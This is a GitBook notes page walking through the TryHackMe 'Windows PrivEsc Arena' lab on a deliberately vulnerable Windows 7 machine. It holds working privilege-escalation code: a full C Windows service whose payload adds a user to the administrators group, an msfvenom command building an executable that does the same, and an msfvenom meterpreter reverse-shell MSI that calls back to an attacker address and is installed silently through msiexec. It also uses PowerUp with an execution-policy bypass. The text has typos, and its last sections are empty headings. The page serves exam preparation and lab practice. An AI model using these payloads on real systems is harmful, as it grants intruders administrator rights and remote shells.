> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/module-18-privllege-escalation/windows/thm-windows-privesc-arena.md). # THM - Windows PrivEsc Arena Students will learn how to escalate privileges using a very vulnerable Windows 7 VM. RDP is open. Your credentials are user:password321

connect rdp ```bash rdesktop 10.10.50.130 -g 95% ``` PowerUp ```powershell powershell.exe -ep bypass import-module powerup.p1 invoke-AllChecks ```

``` lcacls.exe ```

"C:\Program Files\File Permissions Service\filepermservice.exe"

Code C to make privesc in win7 ### Service Escalation - Registry #### Detection ```powershell Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl ```

{% hint style="danger" %} Notice that the output suggests that user belong to “**NT** **AUTHORITY**\\**INTERACTIVE**” has “**FullContol**” permission over the registry key. {% endhint %} #### Exploitation ```c #include #include #define SLEEP_TIME 5000 SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE hStatus; void ServiceMain(int argc, char** argv); void ControlHandler(DWORD request); //add the payload here int Run() { system("cmd.exe /k net localgroup administrators user /add"); return 0; } int main() { SERVICE_TABLE_ENTRY ServiceTable[2]; ServiceTable[0].lpServiceName = "MyService"; ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; ServiceTable[1].lpServiceName = NULL; ServiceTable[1].lpServiceProc = NULL; StartServiceCtrlDispatcher(ServiceTable); return 0; } void ServiceMain(int argc, char** argv) { ServiceStatus.dwServiceType = SERVICE_WIN32; ServiceStatus.dwCurrentState = SERVICE_START_PENDING; ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwServiceSpecificExitCode = 0; ServiceStatus.dwCheckPoint = 0; ServiceStatus.dwWaitHint = 0; hStatus = RegisterServiceCtrlHandler("MyService", (LPHANDLER_FUNCTION)ControlHandler); Run(); ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus (hStatus, &ServiceStatus); while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) { Sleep(SLEEP_TIME); } return; } void ControlHandler(DWORD request) { switch(request) { case SERVICE_CONTROL_STOP: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &ServiceStatus); return; case SERVICE_CONTROL_SHUTDOWN: ServiceStatus.dwWin32ExitCode = 0; ServiceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus (hStatus, &ServiceStatus); return; default: break; } SetServiceStatus (hStatus, &ServiceStatus); return; } ``` ```powershell sc start filepermsvc ```

To Delete user from group ```powershell net localgroup Administrators user /DELETE� ``` Escalation va Unquoted Path ```bash msfvenom -p windows/exec CMD='net localgroup Administrators user /add ' -f exe -o /home/h3ckt0r/tool/privesc/common.exe updog -p 8080 ```

### Registry Escalation - AlwaysInstallElevated > 1.Open command prompt and type: **reg query**\ > **HKLM\Software\Policies\Microsoft\Windows\Installer** \ > 2.From the output, notice that “**AlwaysInstallElevated**” value is **1** > >

{% code overflow="wrap" %} ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.9.0.213 -f msi -o setup.msi ``` {% endcode %} 1.Place ‘setup.msi’ in ‘C:\\**Temp**’.\ 2.Open command prompt and type: **msiexec /quiet /qn /i C:\Temp\setup.msi**

### Service Escalation - Executable Files

Service Escalation - DLL Hijacking